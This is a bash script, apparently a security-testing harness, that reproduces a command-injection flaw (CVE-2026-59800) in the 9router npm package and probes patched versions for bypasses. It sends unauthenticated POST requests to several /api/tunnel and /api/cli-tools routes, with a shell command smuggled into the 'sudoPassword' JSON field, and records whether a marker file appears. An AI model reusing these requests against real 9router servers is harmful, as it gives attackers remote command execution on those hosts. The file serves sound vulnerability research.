#!/bin/bash
# =============================================================================
# Vulnerability-variant stage for CVE-2026-59800 / 9router.
#
# This script tests materially different candidate paths against both a
# vulnerable package (0.4.39) and a patched/latest package (0.4.45 or npm latest
# when resolvable). It exits 0 only if attacker-controlled commands execute on
# the patched target (a real bypass). It exits 1 when candidates are blocked or
# do not reach the shell-command sink.
# =============================================================================
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VV="$ROOT/vuln_variant"
LOGS="$ROOT/logs"
VLOGS="$LOGS/vuln_variant"
WORK="$VV/work"
mkdir -p "$VV" "$VLOGS" "$WORK" "$WORK/markers"
LOG="$VLOGS/reproduction_steps.log"
: > "$LOG"

VULN_VER="0.4.39"
DEFAULT_FIXED_VER="0.4.45"
PORT="20380"
SERVER_PGID=""
BYPASS_CONFIRMED=0
NODEBIN="$(command -v node || true)"

log(){ echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOG"; }

cleanup_server(){
  if [ -n "${SERVER_PGID:-}" ]; then
    kill -- "-$SERVER_PGID" >/dev/null 2>&1 || true
    sleep 1
    kill -9 -- "-$SERVER_PGID" >/dev/null 2>&1 || true
    SERVER_PGID=""
  fi
  if command -v fuser >/dev/null 2>&1; then fuser -k "${PORT}/tcp" >/dev/null 2>&1 || true; fi
}
trap cleanup_server EXIT

fetch_pkg(){
  local ver="$1" out="$2"
  [ -s "$out" ] && return 0
  mkdir -p "$(dirname "$out")"
  if [ -s "$ROOT/artifacts/9router/9router-${ver}.tgz" ]; then
    cp "$ROOT/artifacts/9router/9router-${ver}.tgz" "$out"
    return 0
  fi
  if command -v npm >/dev/null 2>&1; then
    (cd "$WORK" && npm pack "9router@${ver}" --pack-destination "$WORK" >>"$LOG" 2>&1) || true
    [ -s "$WORK/9router-${ver}.tgz" ] && mv "$WORK/9router-${ver}.tgz" "$out" 2>/dev/null || true
  fi
  if [ ! -s "$out" ]; then
    log "npm pack failed/unavailable for 9router@${ver}; fetching registry tarball"
    curl -fsSL "https://registry.npmjs.org/9router/-/9router-${ver}.tgz" -o "$out"
  fi
  [ -s "$out" ]
}

resolve_fixed_version(){
  local latest=""
  if command -v npm >/dev/null 2>&1; then
    latest="$(npm view 9router version 2>/dev/null || true)"
  fi
  echo "submitted_vulnerable_version=${VULN_VER}" > "$VLOGS/fixed_version.txt"
  echo "ticket_patched_version=0.4.44 (not present in npm registry during this run)" >> "$VLOGS/fixed_version.txt"
  echo "default_fixed_test_version=${DEFAULT_FIXED_VER}" >> "$VLOGS/fixed_version.txt"
  echo "npm_latest_version=${latest:-unknown}" > "$VLOGS/latest_version.txt"
  if [ -n "$latest" ]; then
    echo "$latest"
  else
    echo "$DEFAULT_FIXED_VER"
  fi
}

prepare_packages(){
  local fixed_ver="$1"
  log "Preparing 9router@${VULN_VER} and patched/latest 9router@${fixed_ver} under $WORK"
  fetch_pkg "$VULN_VER" "$WORK/9router-${VULN_VER}.tgz"
  fetch_pkg "$fixed_ver" "$WORK/9router-${fixed_ver}.tgz"
  rm -rf "$WORK/vuln" "$WORK/fixed"
  mkdir -p "$WORK/vuln" "$WORK/fixed"
  tar xzf "$WORK/9router-${VULN_VER}.tgz" -C "$WORK/vuln"
  tar xzf "$WORK/9router-${fixed_ver}.tgz" -C "$WORK/fixed"
}

find_cli(){ find "$1" -name cli.js -path '*/package/cli.js' | head -1; }

write_shims(){
  local shimdir="$WORK/shims"
  mkdir -p "$shimdir"
  cat > "$shimdir/sudo" <<'SH'
#!/bin/sh
# Controlled no-prompt sudo precondition: do not consume stdin for a password.
# This preserves the child process argv and stdin behavior relevant to the bug.
{
  echo "[sudo-shim] argv=$*"
  echo "[sudo-shim] not consuming stdin; execing target"
} >> "${VARIANT_SUDO_SHIM_LOG:-/dev/stderr}"
if [ "${1:-}" = "-S" ]; then shift; fi
exec "$@"
SH
  chmod +x "$shimdir/sudo"
  cat > "$shimdir/curl" <<'SH'
#!/bin/sh
# Avoid external tailscale.com dependency for the install route while keeping
# the real 9router spawn("curl", ...) -> spawn("sudo", ["-S", "sh"...]) flow.
case "$*" in
  *tailscale.com/install.sh*)
    cat <<'EOS'
#!/bin/sh
echo BENIGN_TAILSCALE_INSTALL_SCRIPT
exit 0
EOS
    exit 0
    ;;
esac
exec /usr/bin/curl "$@"
SH
  chmod +x "$shimdir/curl"
  echo "$shimdir"
}

wait_health(){
  local i
  for i in $(seq 1 45); do
    curl -fsS -m 2 "http://127.0.0.1:${PORT}/api/health" >/dev/null 2>&1 && return 0
    sleep 1
  done
  return 1
}

start_server(){
  local label="$1" pkgdir="$2" shimdir="$3"
  local home="$WORK/home-$label"
  local cli
  cli="$(find_cli "$pkgdir")"
  [ -n "$NODEBIN" ] || { log "node is unavailable"; return 1; }
  [ -f "$cli" ] || { log "cli.js not found below $pkgdir"; return 1; }
  cleanup_server
  mkdir -p "$home"
  log "[$label] starting real 9router server on 127.0.0.1:$PORT"
  setsid env HOME="$home" PATH="$shimdir:$PATH" VARIANT_SUDO_SHIM_LOG="$VLOGS/${label}_sudo_shim.log" NODE_ENV=production \
    "$NODEBIN" "$cli" --log --skip-update -p "$PORT" > "$VLOGS/${label}_server.log" 2>&1 &
  SERVER_PGID=$!
  if wait_health; then
    log "[$label] healthcheck passed"
    return 0
  fi
  log "[$label] healthcheck failed; server log follows"
  sed -n '1,120p' "$VLOGS/${label}_server.log" | tee -a "$LOG" || true
  return 1
}

json_payload(){
  local marker="$1" name="$2"
  python3 - "$marker" "$name" <<'PY'
import json, sys
marker, name = sys.argv[1:3]
cmd = f"echo VARIANT_PWNED_{name} > {marker}; id >> {marker}; exit 0"
print(json.dumps({"sudoPassword": cmd, "apiKey": "sk_9router", "action": "trust-cert", "tool": "antigravity"}))
PY
}

send_candidate(){
  local target="$1" candidate="$2" method="$3" path="$4" body_kind="$5" expect_same_route_rce="$6"
  local marker="$WORK/markers/${target}_${candidate}.txt"
  local response="$VLOGS/${target}_${candidate}_response.txt"
  local codefile="$VLOGS/${target}_${candidate}_http_code.txt"
  local payload code marker_state
  rm -f "$marker" "$response" "$codefile"
  payload="$(json_payload "$marker" "${target}_${candidate}")"
  log "[$target][$candidate] $method $path"
  if [ "$body_kind" = "empty" ]; then
    code="$(curl -sS -o "$response" -w '%{http_code}' -m 45 -X "$method" "http://127.0.0.1:${PORT}${path}" || true)"
  else
    code="$(curl -sS -o "$response" -w '%{http_code}' -m 45 -X "$method" "http://127.0.0.1:${PORT}${path}" -H 'Content-Type: application/json' -d "$payload" || true)"
  fi
  echo "$code" > "$codefile"
  if [ -f "$marker" ]; then
    cp "$marker" "$VLOGS/${target}_${candidate}_marker.txt"
    marker_state="present"
  else
    echo "[marker absent]" > "$VLOGS/${target}_${candidate}_marker.txt"
    marker_state="absent"
  fi
  log "[$target][$candidate] HTTP=$code marker=$marker_state response=$(tr '\n' ' ' < "$response" | cut -c1-160)"
  if [ "$target" = "fixed" ] && grep -q "VARIANT_PWNED" "$VLOGS/${target}_${candidate}_marker.txt"; then
    log "[$target][$candidate] BYPASS: marker was created on patched/latest target"
    BYPASS_CONFIRMED=1
  fi
  if [ "$target" = "vuln" ] && [ "$expect_same_route_rce" = "yes" ] && grep -q "VARIANT_PWNED" "$VLOGS/${target}_${candidate}_marker.txt"; then
    log "[$target][$candidate] vulnerable control reached original install shell sink"
  fi
}

extract_source_identity(){
  local fixed_ver="$1"
  python3 - "$WORK" "$VV/source_scan_summary.json" "$fixed_ver" <<'PY'
import json, os, re, sys
work, out, fixed_ver = sys.argv[1:4]
summary = {"repository":"npm:9router", "submitted_version":"0.4.39", "fixed_or_latest_version": fixed_ver, "security_docs": [], "matchers": {}, "sink_observations": {}}
for label, rel in [('vuln','vuln/package'),('fixed','fixed/package')]:
    pkg=os.path.join(work, rel)
    for root, dirs, files in os.walk(pkg):
        for f in files:
            if f.upper() == 'SECURITY.md' or f.lower() in ('security.md','security.txt'):
                summary['security_docs'].append(os.path.relpath(os.path.join(root,f), pkg))
    for mw in ['app/.next/server/middleware.js','app/.next-cli-build/server/middleware.js']:
        p=os.path.join(pkg,mw)
        if os.path.exists(p):
            s=open(p,errors='ignore').read()
            m=re.search(r'matcher:\[[^\]]*\]', s)
            if m: summary['matchers'][label]=m.group(0)
    obs=[]
    for root, dirs, files in os.walk(pkg):
        if 'node_modules' in root.split(os.sep):
            continue
        for fn in files:
            if not fn.endswith('.js'):
                continue
            p=os.path.join(root, fn)
            try:
                s=open(p,errors='ignore').read()
            except Exception:
                continue
            if 'Running install script' in s or 'tailscaled' in s or 'sudoPassword' in s:
                relp=os.path.relpath(p, pkg)
                for needle in ['spawn)("sudo",["-S","sh"]','"sudo",["-S","sh"','writeFileSync','spawn)("sudo",["-S",d,...e]','spawn)("sudo",["-S",e,...f]']:
                    if needle in s:
                        obs.append({'file': relp, 'needle': needle})
    summary['sink_observations'][label]=obs[:50]
open(out,'w').write(json.dumps(summary, indent=2))
PY
}

write_runtime_manifest(){
  local fixed_ver="$1" verdict="$2"
  python3 - "$VV/runtime_manifest.json" "$fixed_ver" "$verdict" <<'PY'
import json, sys, glob, os
out, fixed_ver, verdict = sys.argv[1:4]
logs = sorted('logs/vuln_variant/' + os.path.basename(p) for p in glob.glob(os.path.join(os.path.dirname(os.path.dirname(out)), 'logs/vuln_variant/*')))
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "Unauthenticated HTTP POST candidates under /api/tunnel and /api/cli-tools",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["9router npm package", "Next.js standalone server", "curl HTTP client", "PATH-local no-prompt sudo precondition shim"],
  "tested_versions": {"vulnerable":"0.4.39", "fixed_or_latest": fixed_ver},
  "verdict": verdict,
  "proof_artifacts": logs[:200]
}
open(out,'w').write(json.dumps(manifest, indent=2))
PY
}

main(){
  log "Starting variant/bypass tests for CVE-2026-59800"
  local fixed_ver shimdir
  fixed_ver="$(resolve_fixed_version)"
  # npm latest can move; keep a patched known-good target if latest resolution is unusual.
  if [ "$fixed_ver" = "0.4.44" ]; then fixed_ver="$DEFAULT_FIXED_VER"; fi
  prepare_packages "$fixed_ver"
  shimdir="$(write_shims)"
  extract_source_identity "$fixed_ver"

  # Parent baseline plus candidate matrix:
  # c0: original disclosed route, used only as an environment and fixed-version control.
  # c1: path-normalization/trailing-slash attempt for the original install route.
  # c2: adjacent /api/tunnel/tailscale-start-daemon sudoPassword entry point.
  # c3: adjacent /api/cli-tools/antigravity-mitm sudoPassword privileged-tool route.
  start_server "vuln" "$WORK/vuln" "$shimdir"
  send_candidate "vuln" "c0_parent_install_baseline" "POST" "/api/tunnel/tailscale-install" "json" "yes"
  send_candidate "vuln" "c1_install_trailing_slash" "POST" "/api/tunnel/tailscale-install/" "json" "yes"
  send_candidate "vuln" "c2_start_daemon" "POST" "/api/tunnel/tailscale-start-daemon" "json" "no"
  send_candidate "vuln" "c3_cli_tools_mitm" "POST" "/api/cli-tools/antigravity-mitm" "json" "no"
  cleanup_server

  start_server "fixed" "$WORK/fixed" "$shimdir"
  send_candidate "fixed" "c0_parent_install_baseline" "POST" "/api/tunnel/tailscale-install" "json" "yes"
  send_candidate "fixed" "c1_install_trailing_slash" "POST" "/api/tunnel/tailscale-install/" "json" "yes"
  send_candidate "fixed" "c2_start_daemon" "POST" "/api/tunnel/tailscale-start-daemon" "json" "no"
  send_candidate "fixed" "c3_cli_tools_mitm" "POST" "/api/cli-tools/antigravity-mitm" "json" "no"
  cleanup_server

  if [ "$BYPASS_CONFIRMED" -eq 1 ]; then
    log "RESULT: CONFIRMED BYPASS - patched/latest target executed attacker marker."
    write_runtime_manifest "$fixed_ver" "confirmed_bypass"
    exit 0
  fi
  log "RESULT: NO DISTINCT VARIANT/BYPASS - patched/latest target did not execute attacker marker; adjacent candidates were blocked or did not reach the original shell sink."
  write_runtime_manifest "$fixed_ver" "no_variant_confirmed"
  exit 1
}

main "$@"
